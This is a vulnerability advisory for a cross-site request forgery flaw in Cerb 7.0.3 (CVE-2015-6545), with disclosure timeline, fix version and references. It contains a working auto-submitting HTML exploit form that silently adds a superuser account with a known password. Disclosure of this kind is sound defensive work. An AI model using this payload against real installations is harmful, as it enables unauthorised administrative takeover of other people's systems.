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Cross-Site Request Forgery in Cerb

Advisory ID:HTB23269
Product:Cerb
Vendor:Webgroup Media LLC
Vulnerable Versions:7.0.3 and probably prior
Tested Version:7.0.3
Advisory Publication:August 12, 2015 [without technical details]
Vendor Notification:August 12, 2015
Vendor Fix:August 14, 2015
Public Disclosure:September 2, 2015
Latest Update:August 18, 2015
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2015-6545
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in Cerb platform, which can be exploited to perform Cross-Site Request Forgery attacks against administrators of vulnerable web application to add administrate accounts into the system.

The vulnerability exists due to failure of the "/ajax.php" script to properly verify the source of incoming HTTP request. Taking into consideration that Cerb is a business-critical application, this security flaw may be quite dangerous if exploited by malicious attackers.

A simple exploit below will add admin user into the system when a logged-in victim opens a malicious page with the exploit:

<form action="http://[host]/ajax.php" method = "POST">
<input type="hidden" name="c" value="config">
<input type="hidden" name="a" value="handleSectionAction">
<input type="hidden" name="section" value="workers">
<input type="hidden" name="action" value="saveWorkerPeek">
<input type="hidden" name="id" value="0">
<input type="hidden" name="view_id" value="workers_cfg">
<input type="hidden" name="do_delete" value="0">
<input type="hidden" name="first_name" value="first name">
<input type="hidden" name="last_name" value="last name">
<input type="hidden" name="title" value="title">
<input type="hidden" name="email" value="username@mail.com">
<input type="hidden" name="at_mention_name" value="name">
<input type="hidden" name="is_disabled" value="0">
<input type="hidden" name="is_superuser" value="1">
<input type="hidden" name="lang_code" value="en_US">
<input type="hidden" name="timezone" value="Antarctica%2FTroll">
<input type="hidden" name="time_format" value="D%2C+d+M+Y+h%3Ai+a">
<input type="hidden" name="auth_extension_id" value="login.password">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_verify" value="password">
<input type="hidden" name="calendar_id" value="new">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>


How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Update to Cerb 7.0.4

More Information:
https://github.com/wgm/cerb/commit/12de87ff9961a4f3ad2946c8f47dd0c260607144
http://wiki.cerbweb.com/7.0#7.0.4


References:
[1] High-Tech Bridge Advisory HTB23269 - https://www.immuniweb.com/advisory/HTB23269 - Cross-Site Request Forgery in Cerb.
[2] Cerb - http://www.cerberusweb.com/ - Cerb is a fast and flexible platform for enterprise collaboration, productivity, and automation.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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